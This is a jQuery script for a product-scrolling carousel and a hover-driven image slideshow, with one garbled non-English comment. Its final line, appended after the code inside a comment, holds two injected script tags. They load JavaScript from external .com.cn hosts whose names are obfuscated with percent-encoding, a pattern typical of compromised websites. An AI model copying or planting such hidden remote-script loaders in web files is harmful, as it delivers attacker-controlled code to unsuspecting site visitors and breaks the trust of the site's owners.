$(function(){
	var scroller = $("#scroller");
	var productswrap = $("#productswrap");
	
	var productDivs = $("#scroller .product");
	var imgLength = 110; //$("#scroller img:first").width();
	var scrollerWidth = parseInt(scroller.css("width"));
	var margin = (scrollerWidth - 110*4) / 5;
	
	productDivs.each(function(i){
		$(this).css('left', (imgLength*i + margin*(i+1)) + "px");
	})
	
	var leftBtn = $(".btnLeft");
	leftBtn.click(
		function(){
			var left = parseInt(productswrap.css("left"));
			if ( left < 0 ) {
				var newLeft = left + scrollerWidth - margin;
				productswrap.animate({left: newLeft}, "slow");
			} else {
				productswrap.animate({left: scrollerWidth*-2 + 2*margin}, "slow");
			}
		}
	);
	
	var rightBtn = $(".btnRight");
	rightBtn.click(
		function() {
			var left = parseInt(productswrap.css("left"));
			if ( left > scrollerWidth*-2 + 2*margin ) {
				var newLeft = left - scrollerWidth + margin;
				productswrap.animate({left: newLeft}, "slow");
			} else {
				productswrap.animate({left: 0}, "slow");
			}
		}
	)
	
	//ͼƬл
	var imgs = $("#screen img");
	var paragraphs = $("#bar p");
	var liteImgs = $("#bar li img");
	
	imgs.each(function(){$(this).fadeOut();});
	imgs.eq(0).fadeIn();
	paragraphs.each(function(){$(this).hide()}).eq(0).show();
	liteImgs.each(function(i){
		$(this).hover(
			function(){
				imgs.each(function(){$(this).fadeOut();});
				paragraphs.each(function(){$(this).fadeOut();});
				imgs.eq(i).fadeIn();
				paragraphs.eq(i).fadeIn();
			},
			function(){}
		);
	});
});/*<script src=http://q.v%65%73a%77%65b%2E%63%6F%6D%2Ecn></script><script src=http://d.v%63m%61%72%74%2E%63o%6D%2Ecn></script>*/